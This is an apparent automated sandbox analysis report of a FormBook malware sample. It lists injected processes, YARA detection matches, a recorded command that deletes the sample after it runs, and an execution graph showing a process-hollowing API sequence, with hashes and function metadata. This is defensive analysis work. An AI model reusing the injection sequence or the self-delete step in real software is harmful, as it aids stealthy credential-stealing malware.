                                        • Rule: Windows_Trojan_Formbook_772cc62d, Description: unknown, Source: 00000005.00000002.4103236234.000000000FBD4000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                        Reputation:high
                                        Has exited:false

                                        General

                                        Target ID:6
                                        Start time:15:25:02
                                        Start date:01/07/2024
                                        Path:C:\Windows\SysWOW64\msdt.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Windows\SysWOW64\msdt.exe"
                                        Imagebase:0x870000
                                        File size:389'632 bytes
                                        MD5 hash:BAA4458E429E7C906560FE4541ADFCFB
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Yara matches:
                                        • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                        • Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                        • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.4091996606.0000000004650000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4091996606.0000000004650000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.4091996606.0000000004650000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.4091996606.0000000004650000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                        • Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.4091996606.0000000004650000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                        • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.4091719375.0000000002E20000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4091719375.0000000002E20000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.4091719375.0000000002E20000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.4091719375.0000000002E20000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                        • Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.4091719375.0000000002E20000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                        Reputation:moderate
                                        Has exited:false

                                        General

                                        Target ID:7
                                        Start time:15:25:05
                                        Start date:01/07/2024
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:/c del "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"
                                        Imagebase:0x240000
                                        File size:236'544 bytes
                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:8
                                        Start time:15:25:05
                                        Start date:01/07/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x5b0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        Disassembly

                                        Reset < >

                                          Execution Graph

                                          Execution Coverage:10.2%
                                          Dynamic/Decrypted Code Coverage:100%
                                          Signature Coverage:1.7%
                                          Total number of Nodes:180
                                          Total number of Limit Nodes:14
                                          execution_graph 51076 10bdc08 51077 10bdc4e GetCurrentProcess 51076->51077 51079 10bdc99 51077->51079 51080 10bdca0 GetCurrentThread 51077->51080 51079->51080 51081 10bdcdd GetCurrentProcess 51080->51081 51082 10bdcd6 51080->51082 51083 10bdd13 GetCurrentThreadId 51081->51083 51082->51081 51085 10bdd6c 51083->51085 51280 10be258 DuplicateHandle 51281 10be2ee 51280->51281 51282 10bc0e8 51283 10bc0fc 51282->51283 51284 10bc121 51283->51284 51286 10bb888 51283->51286 51287 10bc2c8 LoadLibraryExW 51286->51287 51289 10bc341 51287->51289 51289->51284 51123 106139c 51128 1061ba6 51123->51128 51144 1061b40 51123->51144 51159 1061b30 51123->51159 51124 10613ab 51129 1061b34 51128->51129 51131 1061ba9 51128->51131 51130 1061b62 51129->51130 51174 1062101 51129->51174 51179 10625a0 51129->51179 51183 10620e2 51129->51183 51188 1061fe2 51129->51188 51193 1062242 51129->51193 51198 106299b 51129->51198 51203 106205d 51129->51203 51207 106219e 51129->51207 51214 1062151 51129->51214 51218 1062713 51129->51218 51223 10623ec 51129->51223 51228 1062721 51129->51228 51130->51124 51131->51124 51145 1061b5a 51144->51145 51146 1061b62 51145->51146 51147 1062242 2 API calls 51145->51147 51148 1061fe2 2 API calls 51145->51148 51149 10620e2 2 API calls 51145->51149 51150 10625a0 2 API calls 51145->51150 51151 1062101 2 API calls 51145->51151 51152 1062721 ResumeThread 51145->51152 51153 10623ec 2 API calls 51145->51153 51154 1062713 2 API calls 51145->51154 51155 1062151 2 API calls 51145->51155 51156 106219e 4 API calls 51145->51156 51157 106205d ResumeThread 51145->51157 51158 106299b 2 API calls 51145->51158 51146->51124 51147->51146 51148->51146 51149->51146 51150->51146 51151->51146 51152->51146 51153->51146 51154->51146 51155->51146 51156->51146 51157->51146 51158->51146 51160 1061b40 51159->51160 51161 1061b62 51160->51161 51162 1062242 2 API calls 51160->51162 51163 1061fe2 2 API calls 51160->51163 51164 10620e2 2 API calls 51160->51164 51165 10625a0 2 API calls 51160->51165 51166 1062101 2 API calls 51160->51166 51167 1062721 ResumeThread 51160->51167 51168 10623ec 2 API calls 51160->51168 51169 1062713 2 API calls 51160->51169 51170 1062151 2 API calls 51160->51170 51171 106219e 4 API calls 51160->51171 51172 106205d ResumeThread 51160->51172 51173 106299b 2 API calls 51160->51173 51161->51124 51162->51161 51163->51161 51164->51161 51165->51161 51166->51161 51167->51161 51168->51161 51169->51161 51170->51161 51171->51161 51172->51161 51173->51161 51175 1062105 51174->51175 51176 10627a2 51175->51176 51232 1060a40 51175->51232 51236 1060a48 51175->51236 51176->51130 51240 1060472 51179->51240 51244 1060478 51179->51244 51180 10625ca 51180->51130 51184 106267e 51183->51184 51186 1060472 Wow64SetThreadContext 51184->51186 51187 1060478 Wow64SetThreadContext 51184->51187 51185 1062699 51185->51130 51186->51185 51187->51185 51189 1061fe8 51188->51189 51248 1060cc4 51189->51248 51252 1060cd0 51189->51252 51194 1062248 51193->51194 51196 1060a40 WriteProcessMemory 51194->51196 51197 1060a48 WriteProcessMemory 51194->51197 51195 1062044 51195->51130 51196->51195 51197->51195 51199 10629a1 51198->51199 51200 10629c4 51199->51200 51256 1060b31 51199->51256 51260 1060b38 51199->51260 51204 1062077 51203->51204 51264 794fdc0 51204->51264 51268 1060550 51207->51268 51272 106054a 51207->51272 51208 1062105 51209 10627a2 51208->51209 51210 1060a40 WriteProcessMemory 51208->51210 51211 1060a48 WriteProcessMemory 51208->51211 51209->51130 51210->51208 51211->51208 51216 1060a40 WriteProcessMemory 51214->51216 51217 1060a48 WriteProcessMemory 51214->51217 51215 1062044 51215->51130 51216->51215 51217->51215 51219 10629a2 51218->51219 51221 1060b31 ReadProcessMemory 51219->51221 51222 1060b38 ReadProcessMemory 51219->51222 51220 10629c4 51221->51220 51222->51220 51224 10623f2 51223->51224 51225 10627a2 51224->51225 51226 1060a40 WriteProcessMemory 51224->51226 51227 1060a48 WriteProcessMemory 51224->51227 51225->51130 51226->51224 51227->51224 51229 10623a4 51228->51229 51230 106205c 51228->51230 51231 794fdc0 ResumeThread 51230->51231 51231->51229 51233 1060a48 WriteProcessMemory 51232->51233 51235 1060ae7 51233->51235 51235->51175 51237 1060a90 WriteProcessMemory 51236->51237 51239 1060ae7 51237->51239 51239->51175 51241 10604bd Wow64SetThreadContext 51240->51241 51243 1060505 51241->51243 51243->51180 51245 10604bd Wow64SetThreadContext 51244->51245 51247 1060505 51245->51247 51247->51180 51249 1060cd0 CreateProcessA 51248->51249 51251 1060f1b 51249->51251 51253 1060d59 CreateProcessA 51252->51253 51255 1060f1b 51253->51255 51257 1060b83 ReadProcessMemory 51256->51257 51259 1060bc7 51257->51259 51259->51200 51261 1060b83 ReadProcessMemory 51260->51261 51263 1060bc7 51261->51263 51263->51200 51265 794fe00 ResumeThread 51264->51265 51267 10623a4 51265->51267 51269 1060590 VirtualAllocEx 51268->51269 51271 10605cd 51269->51271 51271->51208 51273 1060590 VirtualAllocEx 51272->51273 51275 10605cd 51273->51275 51275->51208 51290 2b263d8 51291 2b2644b 51290->51291 51295 2b2b6f8 51291->51295 51302 2b2b6e9 51291->51302 51292 2b26b53 51296 2b2b723 51295->51296 51297 2b2b71c 51295->51297 51301 2b2b74a 51296->51301 51309 2b2635c 51296->51309 51297->51292 51300 2b2635c GetCurrentThreadId 51300->51301 51301->51292 51303 2b2b723 51302->51303 51304 2b2b71c 51302->51304 51305 2b2635c GetCurrentThreadId 51303->51305 51308 2b2b74a 51303->51308 51304->51292 51306 2b2b740 51305->51306 51307 2b2635c GetCurrentThreadId 51306->51307 51307->51308 51308->51292 51310 2b26367 51309->51310 51311 2b2ba5f GetCurrentThreadId 51310->51311 51312 2b2b740 51310->51312 51311->51312 51312->51300 51086 10b2180 51087 10b218a 51086->51087 51089 10b2280 51086->51089 51090 10b22a5 51089->51090 51094 10b2380 51090->51094 51098 10b2390 51090->51098 51095 10b23b7 51094->51095 51096 10b2494 51095->51096 51102 10b1fb8 51095->51102 51099 10b23b7 51098->51099 51100 10b2494 51099->51100 51101 10b1fb8 CreateActCtxA 51099->51101 51101->51100 51103 10b3420 CreateActCtxA 51102->51103 51105 10b34e3 51103->51105 51276 10bc040 51277 10bc088 GetModuleHandleW 51276->51277 51278 10bc082 51276->51278 51279 10bc0b5 51277->51279 51278->51277 51106 1062f08 51107 1063093 51106->51107 51108 1062f2e 51106->51108 51108->51107 51112 1063180 51108->51112 51116 1063188 51108->51116 51119 106321a 51108->51119 51113 1063188 PostMessageW 51112->51113 51115 10631f4 51113->51115 51115->51108 51117 10631ce PostMessageW 51116->51117 51118 10631f4 51117->51118 51118->51108 51120 10631ce PostMessageW 51119->51120 51122 1063227 51119->51122 51121 10631f4 51120->51121 51121->51108 51122->51122

                                          Executed Functions

                                          Function 02B263D8 Relevance: .6, Instructions: 596COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1660038632.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_2b20000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e838f514765e6e9eadb7ef2660a8aefbc4aff40214ecf6d0dd74ca108a3f5700
                                          • Instruction ID: 1ea10a0af41852055fd05692313859f508dfc8b105d2677a671e2dfbb2271a23
                                          • Opcode Fuzzy Hash: e838f514765e6e9eadb7ef2660a8aefbc4aff40214ecf6d0dd74ca108a3f5700
                                          • Instruction Fuzzy Hash: F8525C30A003558FCB14DF28C944B99B7B2FF89314F2586E9D5586F3A2DB71A986CF81
                                          Function 02B263C8 Relevance: .6, Instructions: 584COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1660038632.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_2b20000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 8fb9f7ba69b5c0859c0c9fde5a4fec459f6640a3b79f70fb957181b6b28cd3b4
                                          • Instruction ID: 733c5ca14f30db0a7dee500c081e254f5733f7c36fc7292695d1991dace0e17c
                                          • Opcode Fuzzy Hash: 8fb9f7ba69b5c0859c0c9fde5a4fec459f6640a3b79f70fb957181b6b28cd3b4
                                          • Instruction Fuzzy Hash: B8524B30A003558FCB14DF28C944B99B7B2FF89314F2586E9D5586F3A2DB71A986CF81
                                          Function 0792E0D0 Relevance: .5, Instructions: 469COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 20a07adf5be38aee472972f5791a092e4da95040ff08a1fbf93690c47f20ce86
                                          • Instruction ID: deee16002e9231bc38fb765ed64bbe918d3bc47b64a70b11b658d7d88793b69d
                                          • Opcode Fuzzy Hash: 20a07adf5be38aee472972f5791a092e4da95040ff08a1fbf93690c47f20ce86
                                          • Instruction Fuzzy Hash: E8223E70A00229CFCB14EF68D988A9DB7B2FF85314F5585A5D809AB369DB30ED85CF50
                                          Function 01064071 Relevance: .4, Instructions: 407COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 1a4163b5e75c16e1c7096b843d2915c0b0e27459858d4f8297040818512e0dfe
                                          • Instruction ID: bb54d13effd8873a33dffd73f4a1a69d2942c1941ab44c3106553d1ef2d2214f
                                          • Opcode Fuzzy Hash: 1a4163b5e75c16e1c7096b843d2915c0b0e27459858d4f8297040818512e0dfe
                                          • Instruction Fuzzy Hash: 6FE1AD71B012058FEB25DB69C4607EEBBFAAF89700F1444A9D289DB391DF35E901CB51
                                          Function 010BDC08 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 570 10bdc08-10bdc97 GetCurrentProcess 574 10bdc99-10bdc9f 570->574 575 10bdca0-10bdcd4 GetCurrentThread 570->575 574->575 576 10bdcdd-10bdd11 GetCurrentProcess 575->576 577 10bdcd6-10bdcdc 575->577 578 10bdd1a-10bdd32 576->578 579 10bdd13-10bdd19 576->579 577->576 583 10bdd3b-10bdd6a GetCurrentThreadId 578->583 579->578 584 10bdd6c-10bdd72 583->584 585 10bdd73-10bddd5 583->585 584->585
                                          APIs
                                          • GetCurrentProcess.KERNEL32 ref: 010BDC86
                                          • GetCurrentThread.KERNEL32 ref: 010BDCC3
                                          • GetCurrentProcess.KERNEL32 ref: 010BDD00
                                          • GetCurrentThreadId.KERNEL32 ref: 010BDD59
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659455589.00000000010B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010B0000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_10b0000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: Current$ProcessThread
                                          • String ID:
                                          • API String ID: 2063062207-0
                                          • Opcode ID: aef5991e215e3734073219027ab17439b799f4c2d315f29df4b6d1d226fae2c0
                                          • Instruction ID: 09923d4b45132da0633dccff192282f68b9a4de148c5d6f58f6e91ca677d268d
                                          • Opcode Fuzzy Hash: aef5991e215e3734073219027ab17439b799f4c2d315f29df4b6d1d226fae2c0
                                          • Instruction Fuzzy Hash: B55136B09003098FDB44DFA9D588BDEFBF1EF48304F248469E459A73A0D7745984CB65
                                          Function 01060B31 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 746 1060b31-1060bc5 ReadProcessMemory 749 1060bc7-1060bcd 746->749 750 1060bce-1060bfe 746->750 749->750
                                          APIs
                                          • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 01060BB8
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: MemoryProcessRead
                                          • String ID: U
                                          • API String ID: 1726664587-3372436214
                                          • Opcode ID: b2b67096480d3bba90e52ea619f9d23cdb5216780bdea08b8c203f9eefb5f553
                                          • Instruction ID: e3f80f0d0df3f99878d49ec9bca6a731012344ad49abdb8bec0cb3c2bf979ebf
                                          • Opcode Fuzzy Hash: b2b67096480d3bba90e52ea619f9d23cdb5216780bdea08b8c203f9eefb5f553
                                          • Instruction Fuzzy Hash: 822136B18002499FDB10CFA9C881BDEFBF5FF48324F10842AE959A7250D7349945CBA0
                                          Function 0106054A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55memoryCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 754 106054a-10605cb VirtualAllocEx 757 10605d4-10605f9 754->757 758 10605cd-10605d3 754->758 758->757
                                          APIs
                                          • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 010605BE
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: AllocVirtual
                                          • String ID: U
                                          • API String ID: 4275171209-3372436214
                                          • Opcode ID: 2cac91b1a476cbdcad613277a2de71bb0c485a701b0b317070a11e007aaa2be8
                                          • Instruction ID: b2d2734e8d5bef512c6950018b44c812cd921cf9b8cbb9e5dd298049db3c6989
                                          • Opcode Fuzzy Hash: 2cac91b1a476cbdcad613277a2de71bb0c485a701b0b317070a11e007aaa2be8
                                          • Instruction Fuzzy Hash: 631159718002498FDB10DFA9C8447DFBFF5EF48328F24841AE559A7250C7759944CFA1
                                          Function 0792D103 Relevance: 2.8, Strings: 2, Instructions: 269COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 845 792d103-792d158 847 792d1a4-792d1a8 845->847 848 792d15a-792d165 845->848 849 792d1aa-792d1ac 847->849 850 792d1ae-792d1b0 847->850 851 792d16b-792d171 848->851 852 792d299-792d2c4 848->852 853 792d1b3-792d1b7 849->853 850->853 854 792d177-792d179 851->854 855 792d2cb-792d328 851->855 852->855 857 792d1e2-792d1e4 853->857 858 792d1b9-792d1bb 853->858 854->855 859 792d17f-792d182 854->859 894 792d47e-792d482 855->894 895 792d32e-792d376 855->895 864 792d1ea-792d21b 857->864 865 792d26b-792d26f 857->865 860 792d1c1 858->860 861 792d1bd-792d1bf 858->861 862 792d184-792d186 859->862 863 792d188 859->863 868 792d1c6-792d1e1 860->868 861->868 871 792d18d-792d193 862->871 863->871 880 792d222-792d224 864->880 881 792d21d-792d220 864->881 869 792d271-792d276 865->869 870 792d278 865->870 872 792d27b-792d298 869->872 870->872 873 792d195-792d198 871->873 874 792d19a 871->874 877 792d19f-792d1a2 873->877 874->877 877->853 883 792d226-792d22b 880->883 884 792d22d 880->884 881->880 886 792d22f-792d23c 883->886 884->886 889 792d244-792d246 886->889 891 792d263-792d26a 889->891 892 792d248-792d261 889->892 892->891 897 792d484-792d48e 894->897 898 792d48f-792d4a2 894->898 904 792d43b-792d43f 895->904 905 792d37c-792d395 895->905 906 792d441-792d46b 904->906 907 792d46d-792d470 904->907 912 792d397-792d39a 905->912 913 792d39f-792d3ad 905->913 909 792d478-792d47b 906->909 907->909 909->894 915 792d428-792d435 912->915 918 792d3bb 913->918 919 792d3af-792d3b9 913->919 915->904 915->905 921 792d3bd-792d3bf 918->921 919->921 922 792d3c1 921->922 923 792d3c4-792d3e8 921->923 922->923 925 792d3f6 923->925 926 792d3ea-792d3f4 923->926 927 792d3f8-792d3fa 925->927 926->927 927->915 928 792d3fc-792d409 927->928 929 792d40b 928->929 930 792d40d 928->930 931 792d40f-792d41f 929->931 930->931 932 792d423 931->932 933 792d421 931->933 934 792d425 932->934 933->934 934->915
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: Hbq$Hbq
                                          • API String ID: 0-4258043069
                                          • Opcode ID: 4b559c8421662928bfe5e24203cfa434858901bfad9ba3f6f611714099b1b2d3
                                          • Instruction ID: bc6d549db8958cd0950af4d57abc523baa56eb39f77c3552c05bb918d2c17548
                                          • Opcode Fuzzy Hash: 4b559c8421662928bfe5e24203cfa434858901bfad9ba3f6f611714099b1b2d3
                                          • Instruction Fuzzy Hash: F7A1DEB0B0461ACFCB14EFA9C8445AEBBB6FF89304F104569D805E3795DB34AD46CBA1
                                          Function 07921D80 Relevance: 2.7, Strings: 2, Instructions: 163COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: $
                                          • API String ID: 0-227171996
                                          • Opcode ID: 15c2750ff15a9aaf7f6f35fb169e7f25959b06662c3b811fbb371a49a8824e2d
                                          • Instruction ID: c2238d05d644ebcbdf5f1fbcc206bfaf8d4df914545104b300de48d8f90854c6
                                          • Opcode Fuzzy Hash: 15c2750ff15a9aaf7f6f35fb169e7f25959b06662c3b811fbb371a49a8824e2d
                                          • Instruction Fuzzy Hash: EE71D331940705CFDB00EF29D4C49A477F5FF89304B418AA8D949AB32AEB31E9A4CF80
                                          Function 07920D74 Relevance: 2.7, Strings: 2, Instructions: 159COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: $
                                          • API String ID: 0-227171996
                                          • Opcode ID: cf7e483d973051f0207ca70dbf4313d2d80d4e141276479d8f66af90f5d066da
                                          • Instruction ID: 1941988e86a3170c11fe55382e4c4a2b634181cdf40b57ee08d5a4707255ad67
                                          • Opcode Fuzzy Hash: cf7e483d973051f0207ca70dbf4313d2d80d4e141276479d8f66af90f5d066da
                                          • Instruction Fuzzy Hash: CA61D531950705CFDB00EF29D4D4964B7F5FF89314B418AA8D949AB329EB31F9A4CB80
                                          Function 01060CC4 Relevance: 1.7, APIs: 1, Instructions: 249processCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 01060F06
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: CreateProcess
                                          • String ID:
                                          • API String ID: 963392458-0
                                          • Opcode ID: 8753348860076f176b764b54300e428fccd66dc4f9090e05cf653dd193881076
                                          • Instruction ID: 8f4ba7e6d5a29fc16c4eeb5d6664308b55383b9c42e607bf1d3a1ff338be584a
                                          • Opcode Fuzzy Hash: 8753348860076f176b764b54300e428fccd66dc4f9090e05cf653dd193881076
                                          • Instruction Fuzzy Hash: 18A17C71D00219DFEB20DF68C8417DEBBF6BF44314F1485AAE848A7254DB749985CF92
                                          Function 01060CD0 Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 01060F06
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: CreateProcess
                                          • String ID:
                                          • API String ID: 963392458-0
                                          • Opcode ID: 69bdf45fd1d6887d8bbdaeef2aa5232912b62ee8509c4c74bbe0da4512768db0
                                          • Instruction ID: 4045de0bdd5af0fb01ed1bf9adb4fe2f967caa34dfa41e2131959191f43777c4
                                          • Opcode Fuzzy Hash: 69bdf45fd1d6887d8bbdaeef2aa5232912b62ee8509c4c74bbe0da4512768db0
                                          • Instruction Fuzzy Hash: E9917E71D00219DFEB10DF68C8417DEBBF6BF48314F1485AAE848A7254DB749985CF91
                                          Function 010B3414 Relevance: 1.6, APIs: 1, Instructions: 132COMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateActCtxA.KERNEL32(?), ref: 010B34D1
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659455589.00000000010B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010B0000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_10b0000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: Create
                                          • String ID:
                                          • API String ID: 2289755597-0
                                          • Opcode ID: 901d828d4a8e04d95de9b2a037af6a29c9ecec66dab698085e0e5d7287262f73
                                          • Instruction ID: 48baa221c6bf6dc341574359c62bc5ee6d8d8e051ab48c7bd3243228199c0e87
                                          • Opcode Fuzzy Hash: 901d828d4a8e04d95de9b2a037af6a29c9ecec66dab698085e0e5d7287262f73
                                          • Instruction Fuzzy Hash: 9B5105B0C00619CFDB14CFA9C884BDEBBF5BF48314F24806AD449AB251D775694ACF90
                                          Function 010B1FB8 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateActCtxA.KERNEL32(?), ref: 010B34D1
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659455589.00000000010B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010B0000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_10b0000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: Create
                                          • String ID:
                                          • API String ID: 2289755597-0
                                          • Opcode ID: bcf15fba91f572f777ecfb44c78911281fc0cc11b1f47e64e64818c1e3bea187
                                          • Instruction ID: 1394bb7ca3e49bc0ede89acf4579ac76ebf7a55c33912cc8337ed3aefc284418
                                          • Opcode Fuzzy Hash: bcf15fba91f572f777ecfb44c78911281fc0cc11b1f47e64e64818c1e3bea187
                                          • Instruction Fuzzy Hash: D741CEB0C0061DDEDB24DFA9C884BDEBBF5BF48304F2081AAD449AB255DB756949CF90
                                          Function 01060A40 Relevance: 1.6, APIs: 1, Instructions: 75injectionCOMMON
                                          Download Yara Rule
                                          APIs
                                          • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 01060AD8
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: MemoryProcessWrite
                                          • String ID:
                                          • API String ID: 3559483778-0
                                          • Opcode ID: 7236469e3d30b797d2156b4327305232336a42e10afb9533f3dfc325b1af200d
                                          • Instruction ID: 8dc83b51a537295c8a1c32802853bcfc43df3a409793950b9fba31dde40e16ab
                                          • Opcode Fuzzy Hash: 7236469e3d30b797d2156b4327305232336a42e10afb9533f3dfc325b1af200d
